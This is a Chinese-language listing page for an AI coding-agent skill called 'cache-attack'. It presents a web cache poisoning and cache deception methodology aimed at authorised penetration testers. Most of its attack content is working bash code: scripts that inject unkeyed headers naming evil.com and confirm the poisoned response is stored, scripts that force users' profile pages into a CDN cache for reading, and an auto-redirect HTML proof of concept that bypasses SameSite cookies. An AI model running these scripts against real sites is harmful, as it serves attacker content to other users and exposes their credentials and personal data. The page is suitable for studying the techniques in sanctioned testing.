mcpField
C
cache-attack

cache-attack

github.com/uphiago安全1.3k41 次安装8 周前更新
代码仓库

关于 cache-attack

面向 Web 安全测试人员的技能,提供 Web 缓存投毒(WCP)和缓存欺骗(WCD)的测试流程。它涵盖缓存检测、未纳入缓存键的输入测试,以及对缓存结果的验证。

主要功能

  1. 01检测 CDN 和反向代理缓存
  2. 02测试未纳入缓存键的输入
  3. 03验证缓存投毒结果
  4. 04测试缓存欺骗路径
  5. 05使用缓存标头确认命中

适用场景

  1. 01评估授权目标的缓存行为
  2. 02验证响应是否受恶意输入影响并被缓存
  3. 03检查敏感页面是否可能被缓存暴露

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill cache-attack

安装后在 Claude Code 中输入/cache-attack确认已加载。

详细介绍

缓存攻击技能

Web 缓存投毒(WCP)和 Web 缓存欺骗(WCD)方法。WCP 会将恶意内容注入缓存页面,并将其提供给其他用户。WCD 则诱使缓存存储敏感页面,攻击者随后可以读取这些页面。这两种技术都利用 CloudFront、Cloudflare、Fastly、Varnish 和 Nginx 上的 CDN 与反向代理缓存行为。

适用场景

  • 目标使用 CDN(CloudFront、Cloudflare、Fastly)或反向代理(Varnish、Nginx 缓存)。
  • 响应头中显示 X-Cache、Age、cf-cache-status 或 X-Cache-Hits。
  • 表面侦察未发现直接漏洞后,将测试方向转向基础设施层。
  • 目标允许在 URL 路径中操纵文件扩展名(.css、.json、.js)。

前提条件

  • 安装了 curl 的 terminal。
  • 用于安全测试的缓存破坏参数(?cb=RANDOM)。
  • 耐心:缓存投毒需要精准把握时机,可能需要多次尝试。

运行方法

# Phase 1: Detect cache
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" | grep -iE "age|x-cache|cf-cache-status|via|server"

# Phase 2: Test cache storage (two identical requests)
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/?cb=TEST1" | grep -iE "x-cache|cf-cache-status"
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/?cb=TEST1" | grep -iE "x-cache|cf-cache-status"
# Second response should show HIT if caching works

# Phase 3: Test unkeyed header reflection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" -H "X-Forwarded-Host: evil.com" | grep -i "location\|evil.com"

快速参考

Web 缓存投毒(WCP)——攻击者为受害者投毒缓存
反射位置影响严重性
<link rel="canonical">SEO 投毒中
<script src="...">XSS(存储在缓存中)严重
<meta property="og:url">网络钓鱼(链接预览)高
Location: 响应头大规模开放重定向高
<form action="...">凭据窃取高
<link rel="stylesheet">CSS 注入中
Web 缓存欺骗(WCD)——受害者的敏感页面被缓存,攻击者读取该页面
技术示例严重性
强制使用扩展名/profile.php/.css严重
路径分隔符/profile.php;.css严重
查询字符串/profile?cb=123.css高
URL 编码/profile%2f..%2findex.css高

流程

阶段 1 — 检测缓存
TARGET="$1"

echo "[*] Cache detection on $TARGET"

# Check for cache headers
RESP=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null)

echo "Cache headers:"
echo "$RESP" | grep -iE "age|x-cache|cf-cache-status|via|x-served-by|x-cache-hits|x-timer|server"

# Deduce CDN
if echo "$RESP" | grep -qi "cloudfront"; then
  echo "[+] CloudFront detected — test WCD with path delimiter tricks"
elif echo "$RESP" | grep -qi "cloudflare"; then
  echo "[+] Cloudflare detected — test WCP with unkeyed headers"
elif echo "$RESP" | grep -qi "varnish\|x-cache"; then
  echo "[+] Varnish detected — test WCD with extension forcing"
elif echo "$RESP" | grep -qi "akamai"; then
  echo "[+] Akamai detected — test WCP with X-Forwarded-Host"
fi

# Confirm caching with two identical requests
echo ""
echo "[*] Cache storage test:"
CACHE_BUSTER="cb=$(date +%s)"

echo -n "  Request 1: "
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET/?$CACHE_BUSTER" -H "X-Cache-Debug: 1"
echo ""
sleep 2

echo -n "  Request 2: "
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "X-Cache: %header{x-cache} | Age: %header{age}" "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null
echo ""

# Test Age increment on repeated requests (no cache buster)
echo ""
echo -n "  Request 1 (no cb): "
AGE1=$(curl -skI "https://$TARGET/" 2>/dev/null | grep -i "^age:" | awk '{print $2}' | tr -d '\r')
echo "Age: ${AGE1:-none}"

sleep 3
echo -n "  Request 2 (no cb): "
AGE2=$(curl -skI "https://$TARGET/" 2>/dev/null | grep -i "^age:" | awk '{print $2}' | tr -d '\r')
echo "Age: ${AGE2:-none}"

if [[ -n "$AGE1" && -n "$AGE2" && "$AGE2" -gt "$AGE1" ]]; then
  echo "  [+] Age increments confirmed — cache is STORING responses"
fi
阶段 2 — 查找未纳入缓存键的输入(WCP)
TARGET="$1"
CACHE_BUSTER="cb=$(date +%s)"

# 15 unkeyed headers to test
UNKEYED_HEADERS=(
  "X-Forwarded-Host: evil.com"
  "X-Forwarded-Scheme: http"
  "X-Forwarded-For: 127.0.0.1"
  "X-Host: evil.com"
  "X-Original-URL: /admin"
  "X-Rewrite-URL: /admin"
  "Forwarded: for=evil.com"
  "X-Forwarded-Port: 8443"
  "X-Amz-Website-Redirect-Location: /malicious"
  "X-HTTP-Method-Override: POST"
  "X-HTTP-Method: DELETE"
  "X-Method-Override: PUT"
)

echo "[*] Testing ${#UNKEYED_HEADERS[@]} unkeyed headers..."

for header in "${UNKEYED_HEADERS[@]}"; do
  key=$(echo "$header" | cut -d: -f1)
  value=$(echo "$header" | cut -d: -f2- | xargs)

  resp=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/?$CACHE_BUSTER" -H "$header" 2>/dev/null)
  if echo "$resp" | grep -qi "$value"; then
    echo "  [REFLECTED] $key: $value"
    echo "    $(echo "$resp" | grep -i "location\|$value" | head -1)"
  fi
done
阶段 3 — 验证缓存存储(WCP)
TARGET="$1"
MALICIOUS="evil.com"
PAYLOAD="x-forwarded-host: $MALICIOUS"
CACHE_BUSTER="cb=POISON_TEST_$(date +%s)"

echo "[*] Cache poisoning test with $PAYLOAD"

# Step 1: Poison — send request with malicious header
echo "[1] Poisoning cache..."
POISON_RESP=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$CACHE_BUSTER" -H "$PAYLOAD" -o /dev/null -w "%{http_code}" 2>/dev/null)
echo "  Poison request: HTTP $POISON_RESP"

sleep 2

# Step 2: Confirm cache HIT
echo "[2] Checking cache..."
CACHE_HIT=$(curl -skI "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null | grep -i "x-cache.*hit\|cf-cache-status.*HIT")
if [[ -n "$CACHE_HIT" ]]; then
  echo "  [+] Cache HIT confirmed: $CACHE_HIT"

  # Step 3: Read cached response (without the header)
  echo "[3] Reading cached response..."
  CACHED=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null)
  if echo "$CACHED" | grep -q "$MALICIOUS"; then
    echo "  [CRITICAL] POISON STORED IN CACHE!"
    echo "  Malicious content served to all users of this URL"
  else
    echo "  [-] Poison not stored (header is keyed or response doesn't reflect)"
  fi
else
  echo "  [-] Cache MISS — response not cached"
fi
阶段 4 — Web 缓存欺骗(WCD)
TARGET="$1"
SENSITIVE_URL="$2"  # e.g., /profile or /wp-json/wp/v2/users

echo "[*] WCD test on $TARGET"

# Test extension forcing
for ext in ".css" ".js" ".json" ".png" ".ico"; do
  WCD_URL="${SENSITIVE_URL}${ext}"
  echo "  Testing: $WCD_URL"

  # Step 1: Force cache with fake static extension
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$WCD_URL" -H "X-Forwarded-Host: attacker.com" \
    -H "Accept: text/css,*/*" -o /tmp/wcd_test_$$.txt 2>/dev/null

  # Step 2: Check if sensitive data was cached
  CACHE_CHECK=$(curl -skI "https://$TARGET$WCD_URL" 2>/dev/null | grep -i "x-cache.*hit\|cf-cache-status.*HIT")
  if [[ -n "$CACHE_CHECK" ]]; then
    echo "  [CRITICAL] $WCD_URL CACHED — sensitive data stored!"

    # Check content
    if grep -qiE "email|password|token|user|auth" /tmp/wcd_test_$$.txt; then
      echo "  [CRITICAL] SENSITIVE DATA IN CACHED RESPONSE!"
      head -5 /tmp/wcd_test_$$.txt
    fi
  fi
  rm -f /tmp/wcd_test_$$.txt
  sleep 0.5
done

# Test path delimiter tricks
for delim in ";.css" "%2f..%2findex.css" "..;.css"; do
  WCD_URL="${SENSITIVE_URL}${delim}"
  code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET$WCD_URL" 2>/dev/null)
  [[ "$code" != "404" ]] && echo "  [POTENTIAL] $WCD_URL → HTTP $code"
  sleep 0.3
done
阶段 5 — SameSite Lax 绕过 + WCD 组合
# If the target uses SameSite=Lax cookies, WCD alone won't work because
# cookies aren't sent on cross-site requests. But SameSite=Lax sends
# cookies on TOP-LEVEL NAVIGATION (meta refresh, anchor click, form GET).

# Combo payload:
cat > wcd_samesite_poc.html << 'HTMLEOF'
<html>
<head>
  
  <meta http-equiv="refresh" content="0; url=https://TARGET/profile.php/.css">
</head>
<body>
  <p>Redirecting...</p>
  
  <a id="fallback" href="https://TARGET/profile.php/.css">Click here</a>
  <script>document.getElementById('fallback').click();</script>
</body>
</html>
HTMLEOF

echo "[+] WCD + SameSite bypass PoC saved to wcd_samesite_poc.html"

注意事项

  • 反射 ≠ 缓存投毒。 响应头中出现反射,并不意味着内容已被缓存。务必通过第二次请求验证是否已存储。
  • 必须使用缓存破坏参数。 每次测试都必须使用唯一的缓存破坏参数,否则可能污染真实用户的缓存。
  • 缓存键规范化。 CDN 可能会在缓存前规范化 URL。请测试大小写变化、尾部斜杠和被忽略的参数。
  • 超长 GET 请求走私。 某些 CDN 接受超过 4000 个字符的查询字符串。源站和缓存可能会以不同方式处理超长请求。
  • 参数混淆。 重复参数(例如 ?p=1&p=2)可能导致缓存键混淆。

验证

  • WCP:第二次请求被投毒的 URL(不带恶意响应头)时,必须返回被投毒的内容。
  • WCD:缓存的响应必须包含敏感用户数据(PII、会话令牌、API 响应)。
  • 必须通过 X-Cache: Hit 或 cf-cache-status: HIT 响应头确认缓存命中。
  • 始终恢复干净状态:验证后清除测试产生的缓存条目。

评论

支持 Markdown